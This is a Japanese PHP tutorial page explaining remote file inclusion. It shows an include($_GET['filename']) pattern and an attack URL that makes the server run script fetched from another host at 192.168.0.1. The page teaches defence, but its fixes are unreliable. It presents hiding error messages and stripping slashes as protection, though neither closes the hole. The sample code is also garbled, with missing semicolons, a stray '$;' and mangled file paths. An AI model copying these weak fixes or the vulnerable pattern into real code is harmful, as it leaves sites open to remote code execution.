ホームページ >バックエンド開発 >PHPチュートリアル >PHPネットワーク開発 リモートファイル組み込み脆弱性の詳細解説_PHPチュートリアル

PHPネットワーク開発 リモートファイル組み込み脆弱性の詳細解説_PHPチュートリアル

WBOY
WBOYオリジナル
2016-07-21 15:38:43868ブラウズ

次のコード (コード) は、ブラウザーのアドレス バー パラメーターのファイル名に従って異なるファイルを含める機能を実装します。

コードをコピーします コードは次のとおりです:

$file_name = $_GET["filename"] //現在のファイル名を取得します
include("$file_name "); //ファイルをインクルードします
//その他の操作
?>

このとき、アドレスバーに別のファイル名を指定することで、別のファイルをインクルードして実行することができます。たとえば、ブラウザで http://localhost/test.php?filename=myinc.php にアクセスすると、myinc.php ファイルをコードに組み込んで実行できます。
上記のコード(Code)はエラー処理を行わず、ブラウザ上でパラメータなしで実行されるため、以下の結果が得られます。
警告: include(.php) [function.include]: ストリームを開けませんでした: C:Program FilesxampphtdocsBugstest6.php の 3 行目にそのようなファイルまたはディレクトリはありません
警告: include() [function.include]: ' を開けませんでした。 php' for inclusion (include_path='.;C:Program Filesxamppphppear') in C:Program FilesxampphtdocsBugstest6.php の 3 行目
このエラー メッセージを読むことで、訪問者は現在の操作がファイルのインクルード操作であることを知ることができます。この時点で、対応するスクリプト コードを独自のサーバーに配置できます。 PHP がリモート ファイルを取得する場合、ファイル自体ではなく、リモート サーバーの最終出力を取得することに注意してください。スクリプト コードは 192.168.0.1 サーバー上にあります。ファイル名は hello.txt です。スクリプト コード (Code) は次のとおりです。
コードをコピーします コードは次のとおりです:

echo "hello world!"?>

この時点で、http://localhost/test にアクセスします。ブラウザでは、php?filename=http://192.168.0.1/hello.txt で hello.txt 内のスクリプトを実行できます。
この問題を解決するには、コードのエラー メッセージを改善して、現在のスクリプトにパラメーターで指定されたファイルが含まれていることを訪問者が認識できないようにすることが 1 つの方法です。改造コード(Code)は以下の通りです。

コードをコピーします コードは次のとおりです:
$file_name = $_GET["filename"] //現在のファイル名を取得します
if(!@include("$; file_name.php") ) //ファイルをインクルードします
{
die("ページの閲覧中にエラーが発生しました");
}
//その他の操作
?>

変更後、インクルードされている場合に表示されますファイルが見つかりません 「ページの閲覧中にエラーが発生しました」というエラーメッセージが表示された場合、訪問者は現在のページの具体的な操作情報を取得することができません。
2 番目の方法では、リモート ファイル インクルード攻撃をより効果的に防ぐことができます。この方法は、アドレス バー パラメーターのスラッシュ「/」を置き換えます。このように、アドレス バー パラメーターにリモート ファイル アドレスを入力すると、コードはパラメーターを正しく取得できません。改造コード(Code)は以下の通りです。

コードをコピーします コードは次のとおりです:
$file_name = str_replace('/', '', $_GET["filename"]) // 現在のファイルを取得します。 name
if(! @include("$file_name.php")) //ファイルをインクルードします
{
die("ページの閲覧中にエラーが発生しました")
}
//その他の操作
?>

このように、ブラウジング中にサーバー内の http://localhost/test.php?filename=http://192.168.0.1/hello.txt にアクセスすると、実際に PHP コードで取得されるインクルードファイルの名前 (コード) は http:192.168.0.1bugstest6_test です。ページにはリモート ファイルは含まれず、適切なエラー メッセージが表示されます。

http://www.bkjia.com/PHPjc/321704.html

tru​​ehttp://www.bkjia.com/PHPjc/321704.html技術記事次のコード (コード) は、ブラウザーのアドレス バー パラメーターのファイル名に従って異なるファイルを含める機能を実装します。 コードをコピーします。 コードは次のとおりです。 ?php $file_name = $_GET["filename"] // 現在のファイルを取得します...
;
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。